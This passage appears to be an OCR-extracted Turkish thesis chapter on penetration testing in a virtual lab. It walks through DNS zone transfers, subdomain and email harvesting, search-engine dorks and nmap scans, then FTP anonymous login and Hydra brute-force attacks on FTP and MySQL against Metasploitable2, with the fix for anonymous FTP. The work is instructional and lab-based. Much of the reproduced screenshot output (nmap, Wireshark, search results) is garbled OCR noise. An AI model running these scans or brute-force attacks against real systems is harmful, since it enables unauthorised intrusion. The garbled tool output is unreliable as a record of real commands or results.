IP adresi taranarak sonucun dogrulugu kontrol edilebilmektedir.

b chaud for bodey

you get signal Q opmatnam | e

Reverse IP Domain Check

Sekil 3.12. dpu.edu.tr {izerinde bulunan domain bilgileri.

Zone Transfer

Zone Transfer islemleri, bir sunucu ismi {izerinden bir domainin ayni veriyi paylasan

subdomainlerini tespit etmekte kullanilan bir pasif bilgi toplama yontemidir. Bu islemi
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gerceklestirmek icin daha once gosterilmis host komutu kullanilarak bir domaine ait sunucu

isimlerinin tespiti saglanmustir.

rout @K allandroid -

Fiie Bdt V=N

Sekil 3.13. Zonetransfer.me iizerinde bulunan sunucu isimleri.

Sekil 3.13.’de zonetransfer.me domainine ait iki adet sunucu ismi tespit edilmistir. Elde edilen
sunucu isimleri zonetransfer.me domainine ait subdomainleri tespit etmede kullanilmistir. Bu
islemin bagarili olmasi i¢in sunucu isimlerinin bu domain adresine gore konfigiire edilmis veya
varsayilan deger olarak birakilmis olmasi gerekmektedir. Sekil 3.14.’de ise zonetransfer.me

domainine ait subdomain ve IP bilgileri tespit edilmistir.

e servetr
e 58

IN-ADUN ., ARBA 2

e Trnat

b -0TTicCy

Sekil 3.14. Zonetransfer.me domainine ait subdomain ve IP bilgileri.

Subdomain ve mail tespiti

Hedef sistemin subdomain ve mail adresi tespitleri daha dnceden sunulmus The Harvester aract
kullanilarak pasif bilgi toplama yontemleri altinda incelenebilmektedir. The Harvester aract

farkli arama motorlar1 tizerine sorgular yollayarak donen cevaplar1 ayiklar ve istenilen sonucu
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dondiiriir. Bu sonuglarin icerisinde ilgili domain adina paylasilmis mail ve subdomain bilgileri

yer almaktadir.

Sekil 3.15. Mail ve subdomain tespiti i¢in Theharvester kullanima.

Sekil 3.15.’de Theharvester araci ile microsoft.com domaini ile biten mail ve subdomainlerin

arama islemi gergeklestirilmistir. Elde edilen sonug Sekil 3.16.”daki gibidir.

Mosts found In seorch evglnes

Total hants

Careers . nicre
caopan.nicroso
srpartzane . a3l
moda microsoft

wffice micrusalt.com

privaty.microsoft.con
sales. microse

schanas . microze
store.microsoft.con 40
«csreorre Fomes

e i

Sekil 3.16. Theharvester arama sonucu.

Gorildiigi tizere yaklasik 16 tane subdomain adresi bulunmustur. Fakat herhangi bir mail
adresine ulagilamamistir. Arama sonucu elde edilen subdomain ve mail adresleri sosyal
mithendislik saldirilar1 ve tarama islemlerinde kullanilabilmektedir. Arka planda Theharvester

araciin gonderdigi istekler wireshark araci ile ayrintili bir sekilde gdzlemlenebilmektedir.
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Sekil 3.17. Wireshark.

Sekil 3.17.de wireshark’ta goriintiilenen ara yiizlerden ethO dinlemeye alinmistir ve
Theharvester tekrar calistirilmigtir. Theharvester tekrar calismaya basladiginda wireshark

iizerinde birden ¢ok istek gorilmiistiir.

'1 2 0 RaT10751

100.988,92 .2

Destination
192.308,02. 3

e Standico

2 0.08500871 192,308 02,150 s

A0 NISTIATH  tRRAR 02 142 368,02 102 owy 342 Standierd
H0.0METIVIY 192, 168,02 137 10,540, 280, 104 [~ T4 30030 -
0 0.0BI2AN2L 220,46, 400, Lo 192.200,02. 102 (%] 1o 00 -~ yon
0. 0na29L54Y A0 10002, 102 24684 200, 104 {73 U4 A0l -
BO.0SR2EEEE b2 M 02042 216840 200,104 arpe 16 OEY Jamy
B 0.a5271060ha 230,451,296 1068 182,560, 92,1493 o i G - 284
18 0. 1005TRIARN 214,50 296 264 491.100.92.132 e 1484 00 - 399
11 0. 1B26GNITO 182188 92 137 L1054, 260,104 o B4 G900 ~
12 8. 182050468 230.06:200. 044 £91.308.%2.150 o 1464 BB - 399
13 8, 1B2063048 16016532110 L1059, 265,184 1cs 54 36328 -
140, 4B2aInH 230.00.3200. 04 £92.166. 52,133 8 ( 1454 40 - 293

Sekil 3.18. Wireshark iizerine diisen istekler.

Sekil 3.18.’de goriildigli gibi microsoft.com domainine ait google’da indekslenmis ilgili verileri
bulmak amaciyla wireshark iizerinde olusan get istekleri mevcuttur. Bu sekilde mail ve

subdomain sonuglari elde edilmistir.
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Subdomain

Bu boliimde daha detayli bir domain saptamasi gergeklestirmek i¢in Theharvester araci yerine

fierce araci kullanilmustir.

roogu

M

| st N

Moo

Sekil 3.19. Microsoft.com domainine ait subdomain saptamast.

Sekil 3.19.’da Kali Linux ilk olarak zone transferleri kontrol eder ve zone transferler tizerindeki
subdomainleri tespit etmektedir. Eger ki herhangi bir zone transfer bulamamissa deneme
yanilma yontemiyle subdomain tespiti yapmaktadir. Burada komut yazildiginda fierce araci
tizerine Sekil 3.20.’de goriildiigii lizere birden ¢ok DNS sorgusu diistiigli goézlemlenmistir.
Fierce aracinin arka plan ¢alismasini daha net gorebilmek ve calisma mantigini daha iyi

kavramak i¢in wireshark araci lizerinden inceleme miimkiind{ir.
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Sekil 3.20. Fierce DNS sorgulari.

Source Destination Protocel  Length indy

2008.78.45.50 SA2. 100,92, 157 N 345 Standare muwry reaspenss deddes
192,168, 92 .10 M8, Th.45.59 (NG O Standarag quary inBads A a2 wic
288 .70.45,50 192.2368 G2 152 L 344 Drandard query respomss fasods
102,100, 93 .37 268,70 . 25.53 o TR STamdnrd unry DxAdTod A wl nilm
200 .7y 4%, 53 LR 288 02 132 ONg 140 Stundar querly 18700
102 100,92 302 BOE . 70, 45,53 ONS L atandard Guery | TN )
200 .70, 45:.50 192,380 92 102 antl 145 Stabdary nuury Laizar
1621640, 92 .13 200, ,.45,53 INY 40 STandars guery aldia iy
200,78, 45,50 SA2.I08,.92.157 UNG JA0 STumdale Buery response dxsms
197,168, 8¢ .10 M8, 7h.45.53 fINY THSTandarg quary kot A about .«
’8g,.70.45,59 102,368 42 152 oxs 347 Hrandard query respomss Axdcde
192,100, 93. 33 68,70 . 25.99 ony TR Standdnrd unry DxBMA A we.ndin
200, 7Ty 4%, 53 LR, 380 82 132 [ A0 Stundar ) Quuly responss Nailse
192 100,92 302 OB, T0. 45,53 ONS N3 STandnrd Guery DXOUAS A sbomon:
200 70, 45,50 102,980, 92 102 unt 151 Stahdary quury responss dalpas
IB2. 160,92 123 20.01.45.53 ING A0 STAMIATE Query BxSath A sccesy
162 16892 23 193,923 . 113,55 uNsG AD STundare Buery BxSath A AcCcesc
163,241,123, 55 192 308 92,152 (NG 14N Standara guary response aybabls
192168 .92 243 098 ,79.45.53 oNs A0 STandard ouery BXI159 A mooess

Sekil 3.21. Wireshark ethO DNS sorgulari.

Sekil 3.21.°de ethO dinlendiginde birden fazla DNS sorgusunun wireshark iizerinde bulundugu
gozlemlenmistir. Bu sorgulardan donen sonuca gore de herhangi bir domain {izerinde bulunan

subdomainlerin tespiti saglanmistir.

Google hacking

Daha onceki pasif bilgi toplama yontemlerinde farkli araglar yardimi ile mail, subdomain bir
sunucu tizerindeki diger web sitelerin bulunmasi gibi islemler ele alinmistir. Bu boliimde ilgili
islemler icin internet tarayacisi iizerinde bulunan google ve bing arama motorlar1 kullanilmustir.
Bu arama motorlariin hepsinin calisma mantig1 basit olmakla birlikte aynidir. Hepsi 6zel
aramalar (dorglar) araciligi ile arama motorlarmin indeksledigi

bilgileri kullaniciya
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sunmaktadir. Google iizerinde arama yapmak i¢in kullanilan baslica dorglar site, inurl, intext,
filetype dorglaridir. Bing iizerinde arama yapmak i¢in kullanilan en bilindik dorg ise ip
dorg’udur. Bing bu ip iizerinde indeksleyebildigi tiim bilgileri sunmaktadir. Bu aramalar

sayesinde arama motorlari belirli bir domaine ait subdomain tespitlerini ger¢eklestirmektedir.

Go gle e Tt ros ol con ™

Google Search Console'u deneyin
WO res{p e e s tor s lach
ISR AN " Stenius SAEE W YU Gonge XA e SR eeiheliTe st

Micreson - Otficial Home Page
W e O conty « BU STt cewtiing gy

' v 1" o D oY A0 M LT TR IR W) 1l

Mictesoft Vintual Academy - Free Oniine Training for Devalopess, IT .

RN mectuncf Lo = Bu amyTimn Cavrisi pap

LAEAT oAl BIAUS RUI0 M ACLE pm Tl WRII0Ea] VLK ACmny (MWA] MTME 100 1T g

Sekil 3.22. Google “Site” arama.

Sekil 3.22.°de igerisinde microsoft.com gegen bir domain ve * oldugu i¢in baginda herhangi
baska bir karakter olan domain adlar1 dondirtlmiistiir. Gortildigi gibi ilk basta ana domain
adresi daha asagilarda ise igerisinde microsoft.com bulunan tiim domain adresleri sonug olarak

dondiirilmiistiir.

GO g}e il AW o gL pap” = O

Log In — WordPress.com
o = B sayiyn cowiisin yop

- @ Ter i gt L wivse

hepe Uppioniee cominp-lage

=1ty 1 Ay .

s Googe Trmle i rew ac

Plugns categonzed as wp-login png | WondPress.om
PO N OO €353 01 UG O BWE KO Y =

R P R L L] FITE s wtlate A hen e thaecaed

S0 00 AN SUTELENY FED W 0 T BREE € Sy S e

wip-login.phe | loramm Ergodan

oG CONIBIRVAD DG UhT -

Sekil 3.23. Google “Inurl” arama.
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Sekil 3.23.’de inurl aramast (dorgu) kullanilmistir ve arama motoru icerisinde wp/login.php

gecen tiim sayfalarin sonuglarini dondiirmiistiir.

GO Q'e wileal “Vnc) pn savan” ™

P e . dowini (ETTR [V y

Ikines Dilesya Savagimm nedaniel Ve sonugian nelena? - En Son Haber
PELRE SN BN CIIT ) ¢ YT sl -
RIS B Uiy e it st SO ERZ DR ke Rt b e b

by Wwipa

IKINCI DUNYA SAVASI - TOV Isam Anslidopedss|

s Malnmantbddpetnt ceg Aknt Sawyo - anvel *

" Ehew, Thee Natim Bigak. Loy W00 W ier, [Ny Baspe Saoes)l el o Valagtitatag
Ivtprtnd 1™ K0 Xl ot Fapmy, Seoaist Fornn N 194
Midenilne

Sekil 3.24. Google “intext” arama.

Sekil 3.24.’de goriilen Intext aramasi (dorgu) herhangi bir kelime aratmak i¢in kullanilmaktadir.
Goriildiigii iizere igerisinde “Ikinci Diinya Savasi” gegen tiim sayfalar sonu¢ olarak
dondiiriilmiistiir.  Filetype aramasit (dorgu) ise aranilacak dosya tipini belirlemek igin
kullanilmaktadir. Burada kullanilan aramaya (dorg) +filetype:pdf seklinde eklenilip kullanilmasi

mumkinddr.

b sMRIID
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Sekil 3.25. Bing “IP” arama.
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Sekil 3.25."de ilgili IP’ye bagh farkli subdomain adresleri sonug olarak dondiiriilmiistiir. Onceki
sekillerdeki gibi aramalar sonucu arama motoru Theharvester aracina benzer bir mantikla
calismaktadir denilebilmektedir. Buradaki Bing aramasi ise daha Once gosterilmis reverse
whois/ip lookup yoOntemine benzer bir mantikta calismaktadir. Bu uygulamalar sonucunda
aslinda kullanilan arama araglarinin arama motorlariyla ayni mantikta calistigi sonucuna

ulagmak miimkiindiir.

3.1.2. Aktif bilgi toplama

Pasif bilgi toplama islemi tamamlandiktan sonra gelen asama aktif bilgi toplama asamasidir.
Pasif bilgi toplama asamasiyla kesfedilen ip ve servis bilgileri aktif bilgi toplama asamasinda
kullanilarak 6zel arag¢ ve yontemlerle tarama islemi gerceklestirilmektedir. Aktif bilgi toplama
asamasi ilgili birimin sistem yoneticileri ya da gilivenlik uzmanlar tarafindan, kurumdaki
cihazlarim log kayitlarinda penetrasyon testi uzmaninin yaptigi islemler goriilecek sekilde
gerceklestirilmelidir (Wilhelm, 2010). Sekil 3.26.’da aktif bilgi toplama yontemleri sematize

edilerek sunulmusg ve alt basliklar altinda uygulamalarla gosterilmistir.
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Sekil 3.26. Aktif bilgi toplama yontemleri.
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Bu calismada aktif bilgi toplama araci olarak Nmap yazilimi kullanilarak ag iizerindeki bir

cihazdan isletim sistemi, servis bilgisi, acik port bilgisi gibi bilgilerin toplanmasi saglanmaistir.

Ag iizerindeki cihazlarin saptanmasi

Bu boliimde nmap yazilimi kullanilarak ayni subnet tizerinde olan cihaz yazilimlarinin tespit
edilmesi islemi gerceklestirilmistir. Kali Linux makinesinin sahip oldugu IP ve subnet

adreslerine Sekil 3.27.’de goriildiigi gibi “ifconfig” komutu ile erigmek miimkiindiir.

8 nhnay
starting Neap .78 nteips

Man scan report fer 1%2,.108.92

Kot 13 wp 1€.89017s Atoncy!
MWAC Addreps ne 8:50.:C0:108:-68

Wapn scal paret far 153,168,932

ot 15 W BAGS 4 ptoncy

MAC Addrens U058 58 FHIID DA | UNwar
Mg Rcal epurt 3 192.168.92

most s W

MAL Adnred

vap cCal

st 15 o

Sekil 3.28. Nmap tarama sonucu.

Sekil 3.28.de elde edilen Nmap tarama sonucu ile ilgili subnet tizerinde olan cihazlar tespit
edilmistir. 1, 2 ve 254 ile biten makine ip’leri Vmware’in kendi aldig1 IP’lerdir. Burada tespit
edilen tek ip adresi Kali Linux cihazinin kendisidir. Yani bu subnet adresi iizerinde bir cihaz

tespit edilmistir. Bu calismada bir Domain Controller yapist mevcuttur. Kurulan sanal
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laboratuvar iizerinde bir nmap taramasi yapilarak Domain Controller’a bagli tiim cihazlar tespit

edilmistir.

netmask 245

s 3\, LOOPBACK, HUNN TN
notmohh o
1 128 scopeld #xl8<husts
£ Loopback])
1 11.4 M)
IVOrruns ¥ framy 4
go64 (1.4 MiB|

fruns # carriaer

Sekil 3.29. Domain Controller’a bagli Kali Linux IP ve subnet adresi bilgileri.

Sekil 3.29.’da subnet adresinin 10.0.0.1 oldugu tespit edilmistir. Bu ip adresi lizerinden nmap

yapilarak sanal laboratuvarda kullanilan canli cihazlarin tespitleri ger¢eklestirilmistir.

' & nmap -sn 10 0.0.1/74
Stoarting Noap 7.768 ( https:// p.org ) at 281 16264
ne: warning: Unable to arnine any DNS E&f 1] DNS £s disabled
Yy using systéenm.dan or specify valid servers with an
10,0019

sEIvers

can report for
» Uup (0. BB18s Lat

54 (VMuare)
0206

Address: 00:0C:20
can report for
up (0. 00174 latency)
Address 00 0C 26 70:99: 81 (VYMvars)
Niap scan report for J8.0.¢
up (D _BOZ28 latent
Addare 00:0C  Z9:FE- 193 (VPunre)

can report for 10.8.6_60

up (0. 00020s Late )
. 00:0C-29:51 I3 (VMuare)

art for 10.60.0.47

IP nddresses (5

Sekil 3.30. Nmap tarama sonucu.

Sekil 3.30.’da 19, 20, 27 ve 60 ile biten IP adresine ait 4 adet cihaz saptanmustir. 47 ile biten ip

adresi Kali Linux cihazinin kendisidir.

isletim Sistemi saptanmasi

Bu boliimde nmap araci ile tespit edilen ip adreslerinin isletim sistemi bilgileri gene nmap aract

ile tespit edilmistir. Bunun i¢in nmap —O parametresi kullanilmistir. Bu parametre her zaman
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dogru sonug¢ dondiirmese de ¢ogunlukla dogru sonu¢ dondiirmektedir. Sekil 3.31., Sekil 3.32. ve
Sekil 3.33.’de sirasiyla 10.0.0.19, 10.0.0.20, 10.0.0.27 cihazlarinin isletim sistemi bilgileri

secenekleri gdsterilmistir.

fnmap <0 LB B0 1Y
Garting Mnap 7.70 { BEtps://nbap. oty § ot 2019-0% 07 19:07 (0T
s dnss warning: Unable to deternine any ONS soryers, Rovorse ONS 1x disabled, Try wsing --syatom-dns or specify yoltd servers with
(s s8r el
Inap scon report for 000,19
up (0,001068 1atency)

shown: 9090 FLLtered ports
STATE SERVICE
135/1ep open  marp
MAC Addross: 00;00:29:07:56. 54 (Muaro)

Warnino! DSScan results may by uprelioblie becousk we could not fibd ot Least I open ond 1 closed port

oyiee type: general purposelphone
RUnnsng: Nicrosott Windows 20086.1)/(Fhope)yista

oo /o:nicrosof Liwindous sorvor 2006: :betad cpo:/o:microsoltivindos sorvar JOB6 cpo:/osmicrosoft windows 8.1 cpo:/oimicrosof|
professional cpe:/osuicrosort -uindons B epe:/0:RECIOsOrt  uEnBons Cpe: /o:nLerosort:vindovs Yista cpe/o:microsort vintov
05 detallss Wicrosoft Windows, Servel 2008 or 2008 Heta 3, Microsort Windows berver 2008 K2 o Windews 6.1, Microsoft Windows | Profess|
nal or Windows 6, Wicrosoft Windows & 1 R, Wicrosoft Windows Phone 7.5 or B.0, Wicrosoft Windows Yista SP0 or SP1, Windows Sotvor 20f
B S, or Windows 7, Nicrosoft Windows Vista SP2, Windows 7 61, or Windows Gerver 2006
Notwork Distance: | hop

I% detection perforned, Please report any Ancorrect fasults at https://imap. oro/submit/
M dong: | LF adaress (1 host up) scanned 4n 6. 78 Seconds

Sekil 3.31. 10.0.0.19 cihaz1 igletim sistemi bilgileri secenekleri.

# npap 010 0E 20 )
Larting Nuep 7,70 ( NUtps://onap.org ) at 2019-85.07 19:10 EOT
nass dns: warning: Unable to determine any ONS servers, Revarse [INS disatiled, Try using --systen-dns or specity valld servers with
BIvel
can report for 16,0.0.20
Up (0 OOD3GS latency)
Nown, 997 closed ports
STATE SERVICH
l'y"nn“ n !ln
open netbios I
ppen nicrosort-os
NAC Addriss: 00:0C:29: 78-00:B1 (WMuato)
Deyice type, general purpose

Runninar Microsoft Windows XP

0% CPE: cpé, /o:nicosoftwindons sp7 [OLMLCTOSOTE WANCOWS Xp;:spd
05 detalls: Microxoft Windows XP 5P7 or SP2
Network Distance: 1 hop

0% detection perforned. Flease repolt aby Lncorrect results at hitps://nmap ofo/subuit/
Nmap dono: | TP address () host up) scanned in 3 19 seconds

Sekil 3.32. 10.0.0.20 cihazi isletim sistemi bilgisi.
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cpel/onicrosoft windows server J012:102 cpec/osnicrasoft iwindows / LIt OB, JOImICTOS0TT IWIndows §
DG details: Microsoft Nindows Sefver 2012 f2 Update 1, Wicrasoft Windows 7, Wladews Server 2012, ar Windows 8.1 Update |
Intuork [istonce: | hop

Yy detection parforped Pleasa report any Ancorrect results at hetos://nman.org/submlt/

Nnap done: 1 TP address (1 host up) scanned 1n 2.96 seconds

Sekil 3.33. 10.0.0.27 cihaz1 isletim sistemi bilgisi.

TCP servislerin saptanmasi

Gilivenlik agiklarinin somiirilmesi isleminde hedef makinenin tcp servislerinin saptanmasi
oldukga kritik bir noktadir. Bu boliimde nmap yazilimi kullanilarak hedef sistem tizerindeki tcp
bazli servisler tespit edilmistir. Bu islem i¢in nmap —sS parametresi kullanilarak hedef makine
tizerine syn paketleri gonderilmistir. Bunun sonucunda hangi servis ve portlarin agik oldugu

bilgisi dondiirilmiistiir.

f nnap -85 1008 24 4
SLarting Mngp 770 ¢ hetps://nnap.org ) of 2009-05.07 20;10 £0T
355 ons: warning: Unable to deternine any ONS seryers. Rovorse ONS 1s disabled, Try using --system-dns or specify yalid servars with
7 saryel
scan report for 0000
up (0, BEY Y Latency
it shown: 997 closed ports
STATE SERVICE
135/tcp open  marp
JAO/tep open  netbioy ssh
A45/tcp open nicrosoft-d
MAC Addrass: DOOC 200789001 (VMvate

lnop done: | IP address () host vp) scanned in 1,25 seconds

Sekil 3.34. 10.0.0.20 Windows XP aracinin TCP servislerinin bilgisi.

Sekil 3.34.’de 135,139 ve 149 tcp portlarinin agik oldugu bilgisine ulasilmistir. Hedef makine
olarak secilen diger cihaz IP adresleri kullanilarak ilgili cihazlarin tcp servis bilgilerine ayni

yontem ile ulagmak miimkiindiir.

TCP servislerin versiyon bilgisi saptanmasi

Bu béliimde bir sistem iizerinde bulunan tcp bazli servislerin tespit edilmesi ve bu servislerin
banner ve versiyon bilgilerinin saptanmasi islemleri gerceklestirilmistir. Versiyon bilgisi tespiti
icin —sS ve —sV parametreleri kullanilmistir. Tcp servislerin versiyon bilgileri somiirii

asamasinda oldukga kritik bilgilerdir. Bu nedenle tcp servislerin versiyon bilgilerinin elde
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edilmesi olduk¢a onemlidir. Sekil 3.35.’de 10.0.0.20 IP adresli Windows XP Tcp servisleri

versiyon bilgilerine yer verilmistir.

) SpeCiTy valld servers with

G S0 Craso Tt Wihdows, cod! fusmlergsott=wWinduws xb

Service detection performed. M #00rt dny 1ncort SULTS a1 hTTs://nmep.org/submit/
man done: | IP address {1 host upl scanned n 0,69 5

Sekil 3.35. 10.0.0.20 IP adresli Windows XP TCP servisleri versiyon bilgileri.

Threeway handshake

Onceki béliimlerde hedef bir cihazim isletim sistemi, tcp servisleri ve bu servislerin versiyon
bilgisinin saptanmasi islemleri ger¢eklestirilmistir. Bu boliimde bu iglemlerin arka planlarin ve
UDP portlar1 incelenmistir. Network yapilandirmasinda toplam 65535 tane port bulunmaktadir.
Bu portlardan en sik kullanilanlar1 ise TCP portlaridir. Penetrasyon testi esnasindan nadiren
UDP portlar1 kullanilsa da genel amag¢ TCP servislerin somiiriilmesidir. Herhangi bir ip iizerinde
standart bir nmap taramasi yapildiginda sonug olarak en ¢ok kullanilan tcp portlar1 donmektedir.
Network tizerindeki biitlin portlar1 taramak i¢cin —pl -65535 parametresi kullanilmistir. Bu
parametre port 1’den 65535 numarali porta kadar tarama yapilacagi anlamina gelmektedir. UDP
portlart taranmak istenirse bu parametrelere —sU parametresi de eklenmelidir. Sekil 3.36.’da

Nmap ile tiim Tcp portlarinin tarama sonucu gosterilmektedir.
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#ommop 10,0.0.20 plbd58s

SLarting Mmop 170 ( hUtps./ Oy ) ot 2019-05.06 07:25 EOT
mass ons: warning: Unable to deternine any ONS seryars 50 NS 15 disabled. Try UsIng, «-systemdns or spectty yalid servers witf
(NS 4elyer

lnap scan report for 16.0.0,20

Host 14 up (D 00043y Latency)

lot shown, 6552 closed port

PORT - STATE SERVIC

L5/TCP Open  msrp

[A9/1cp open notbios ssn

M5/tep open  nicrosoft-ds

MAC Address: DBCOC:29: 18:99:8] (VHvare)

limap dono: 1 1P address () host up) scanned in 16,50 seconds

Sekil 3.36. Nmap ile tiim TCP portlariin taranmasi.

Ag iizerinde TCP baglantis1 kurulmasinin hemen ardindan oturum iglemleri ger¢eklesmektedir
ve istemci tarafindan baslatilan bu TCP siireci Threeway Handshake (3’li El Sikisma) olarak
adlandirilmaktadir. Sekil 3.37.de goriildiigii lizere Threeway Handshake saglanirken ilk adim
istemci tarafindan gerceklestirilir. Istemci kendi sistem bilgilerini iceren Syn paketini sunucuya
gonderir. Ikinci adim sunucu tarafindan gerceklestirilir. Istemcinin gonderdigi paketi alan
sunucu istemciye paketi aldigina dair bilgi vermek amaciyla bir sonraki paket Syn ve Ack’i
hazirlar. Ugiincii adim istemci tarafindan gerceklestirilir. Sunucunun gonderdigi paketi alan
istemci sunucunun gonderdigi paket sira numarasini bir arttirarak ve Ack numarasini da
sunucudan gelen sira numarasina esit olacak sekilde ayarlayarak bir Ack paketi gonderir.

Boylece iic adimda Threeway HandShake baglantisi saglanmis olur (Hau vd., 2016).

istemci SYN Sunucu
< SYN, ACK =
> ACK N

Sekil 3.37. Threeway handshake.

Threeway HandShake baglantisinin saglikli olarak tamamlanmasi hedef sistemde bizim

isteklerimize cevap veren bir sey oldugu anlamina gelmektedir.
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Sekil 3.39. 445 numarali portun wireshark iizerinden dinlenmesi.

Sekil 3.38. ve 3.39.’da bir 445 numarali portun acik oldugu ve bu port iizerinden bir Threeway

HandShake baglantisinin saglandigi gorilmiistiir.

Starting Nmap 7.7

nass dns Matning
: ng ys1e an Oor spé
) Acan report for 10.0.0.26

= up (0 HoY 4% |atency

— "',.Y - ':"

e b- PPN -

Sekil 3.41. 444 numarali portun wireshark iizerinden dinlenmesi.

Sekil 3.40. ve 3.41.’de 444 numaral1 tcp portunun kapali oldugu istemciden sunucuya giden syn
paketine herhangi bir syn ack paketi gonderilmedigi dolayisiyla bir Threeway HandShake

baglantisi kurulamadigi gézlemlenmistir.
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3.2. Zafiyet Analizleri, Shellcode ve Payload Olusturma Islemlerinin Uygulanmasi

Bir penetrasyon testinin bilgi toplama asamasi gerceklestirildikten sonra zafiyet analizi ve tespit
edilen zafiyetlerin somiirilmesi i¢in kullanilan bir takim shellcode ve payload kodlarmin
olusturulmasi islemi gercgeklestirilmektedir. Bu boliimde zafiyet taramasi islemleri, shellcode ve
payload olusturma siiregleri Sekil 3.42.’de sunuldugu gibi siiflandirilmis ve bu kapsamda her
bir asamanin uygulamasi yapilarak incelenmistir. Buna ek olarak bir Domain Controller
(Windows Server 2012) etki alanina baghh Windows XP, Winodws 7, Windows 10, Linux
isletim sistemlerinin bulundugu laboratuvar ortaminda Domain Conrollerin ele gegirilmesi

asama asama uygulamalarla gdsterilmistir.

BN osan St wpons Sk S Ao Kt igrirasyon Tafeetier! Mrusutt Dpermite Kantgaeyan Moaoft St
Zalyeiler va tetmplon finah Lafpetier
i , Mstronsie TMR SN Sy ‘ \ M- 007
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Sekil 3.42. Uygulamalarda yer alan zafiyetlerin siniflandirilmasi.

3.2.1. GNU/Linux iizerindeki konfigiirasyon bazh zafiyetler

Bu boélimde GNU/Linux isletim sistemi {izerindeki konfigilirasyon bazli zafiyetler incelenerek
somiiriilme islemleri uygulanmistir. Bu zafiyetler i¢in Sekil 3.43.’de gosterilen metasploitable2
cihazi kullanilmigtir. Sekil yukardaki FTP, Mysql,ssh, telnet,tomcat ve samba tcp bazh

servislerin konfiglirasyon bazli zafiyetlerini somiirme islemleri uygulamalarla ele alinmugtr.
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Sekil 3.43. Metasploitable2 ara yiizii.

FTP konfigiirasyon zafiyeti ile kullanici adi ve sifrenin elde edilmesi

Bu bolimde File Transfer Protocol (FTP) tizerine gerceklestirilebilecek saldirilari iglemleri
uygulanmistir.  Bu  saldilar  Linux iizerine metasploitable2 Linux cihazindan
gerceklestirilmistir. FTP varsayilan olarak 21 numarali port {izerinde ¢aligan sunucu ve kullanici
arasinda dosya paylasimini saglamay1 amaglayan tcp bazl bir servistir. FTP servisi kimi zaman
proje gelistirme evresinde kimi zaman da web sitelerinin dosyalarini sunucuya atmak igin
kullanilan bir yontemdir. Bir FTP kullanicisinin elde edilmesi ile kurumsal firmalardan veya
web siteleri iizerinden kritik dosyalarin ¢alinmasi ve daha ileri senaryolarda uzaktan kod

ylirtitme gibi giivenlik aciklarinin somiiriilmesi miimkiin olmaktadir.
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Sekil 3.44. TCP port bilgileri.

Vmware Workstation ile sanallastirilmis Kali Linux makinesinin kullandigi Dns sunucusu
tizerindeki tcp servis ve siirim bilgileri Sekil 3.44.’deki gibidir. Ftp servisler iizerinde bulunan
en bilindik konfigiirasyon hatalarindan biri “anonymous login” o6zelliginin aktif halde
birakilmasidir. Bu o6zellik aktif edildiginde ftp servisine disaridan gelen her kullanict
baglanabilmektedir. “anonymous login” 6zelligi ¢cok kisinin ¢alistig1 gelistirme projelerinde hiz
kazanmak adina veya farkli senaryolarda aktif hale getirilebilmektedir. “anonymous login”
Ozelliginin aktif hale getirilmesi kotii niyetli kisilerin sistemlere zarar vermesine neden

olabilmektedir.

onhected
] usF TRy |
Mane 11%2 . 184
111 Plogee

Sekil 3.45. FTP sevisinin “anonymous login” 6zelliginin aktif edilmesi.

Sekil 3.45.°de “anonymous login” 6zelligi ile bir ftp kullanici hesabi elde edilmistir. Kullanici
adi anonymous ve sifre herhangi bir mail adresi olarak kullanilmaktadir. Burada giris

yapildiktan sonra “dir” komutu kullanilarak dizindeki dosyalar gosterilebilmektedir. “pwd”
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komutu ile bulunulan dizin goriintiilenmektedir. Eger gerekli yetki mevcutsa, “put” komutu ile
dosya konulabilmektedir. “get” komutu ile sistemden dosya c¢ekme islemi
gergeklestirilmektedir. “Anonymous login” 6zelligi disinda kaba kuvvet saldirisi ile deneme
yanilma yapilarak bir ftp servis kullanicisi elde edilebilmektedir. Fakat penetrasyon testi
islemleri i¢in zaman kisitli oldugundan kaba kuvvet saldirisi ¢ok tercih edilen bir yontem
degildir. Bu boliimde kaba kuvvet saldirist 6rnegi Hydra kullanilarak gerceklestirilmistir. Kaba
kuvvet saldirilart igin bir kullanici ad1 ve parola bilgisi gereklidir. Parola bilgisi bir wordlist ile

kirilabilmekteyken kullanici bilgisinin bilinmesi dnemlidir. Ftp servisler igin genellikle kullanici

adlart “ftp”, “ftpuser” veya “ftpadmin” seklindedir.
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Sekil 3.46. Hydra ile FTP servis iizerinde kaba kuvvet saldirisi.

Sekil 3.46.’da metasploit dosyasi iizerinde wordlist icerisinde bulunan tim sifreler sirayla
denenmektedir ve uygun sifre bulunmasi durumunda bir ftp kullanicis1 oturumu elde

edilmektedir.
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Sekil 3.47. Metasploitable2 Linux cihazinda “anonymous login” zafiyet kaynagi.

Sekil 3.47°de gorildigi gibi “Yes” olarak gosterilen zafiyet “No” olarak degistirildiginde
Linux {zerindeki anonymous login zafiyeti engellenmis olunacaktir. Bu bolimde
gerceklestirilen saldirt yontemlerinin yani sira ftp servisler iizerinde Buffer over flow
kullanilarak ta ftp kullanicist oturumu elde etmek miimkiindiir. Ancak bu saldirt sekli ilerleyen

boliimlerde uygulanacaktir.

MvySOL konfigiirasyon zafiveti ile veri tabaninin ele gecirilmesi

Bu béliimde MySQL iizerine potansiyel saldir1 islemleri ger¢eklestirilmistir. Mysql servisi 3306
port’u iizerinde bulunan veri tabanlarini olugturmak amaciyla kullanilan tcp bazli bir servistir.
Mysql servis iizerine yapilacak saldirilar ¢ok ¢esitli degildir. Mysql {izerine giris bilgisini
bulmay1 amaglayan kaba kuvvet saldirilar1 gergeklestirilmektedir. Mysql’in bos parola 6zelligi
bulunmaktadir ve aktif hale getirildiginde veri tabani lizerinden bilgi kagirilmasi gibi durumlar
ortaya cikmaktadir. Mysql servislerde diger servislerin aksine “root” isimli bir varsayilan
kullanic1 bilgisinin varligi kesindir. Root kullanicisinin veri tabanlarina erisme ve veri
tabanlarin1 silme, degistirme gibi yetkileri mevcuttur. Mysql servisi iizerine kaba kuvvet

saldiris1 gergeklestirilirken Hydra araci kullanilmustir.
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Sekil 3.48. Hydra arac1 ile Mysql servisi lizerine kaba kuvvet saldirisi.

Sekil 3.48.de direkt dogru sonu¢ doniisli saglanmistir. Bunun sebebi mysql servisindeki bos

parola bilgisidir. Giris saglandiktan sonra mysql servisine baglantinin saglanmasi

gerekmektedir.

0192 160 1.0
Enter OasSMord
Welcome 1o the Mariabn momitor. Cumsands and with ; er \g
Your MysaL connectlon 14 s 23
Server yersion: 5.0.95a-3ublntud (Ubintul

Copyright (c) 2000, 2018, Oracie, Mariabd Corporation Ab and others

Type "help:' or "\W' for baly, Type “\6° to cTuar the currant Inpvt statomant

NySOL | inboe) '

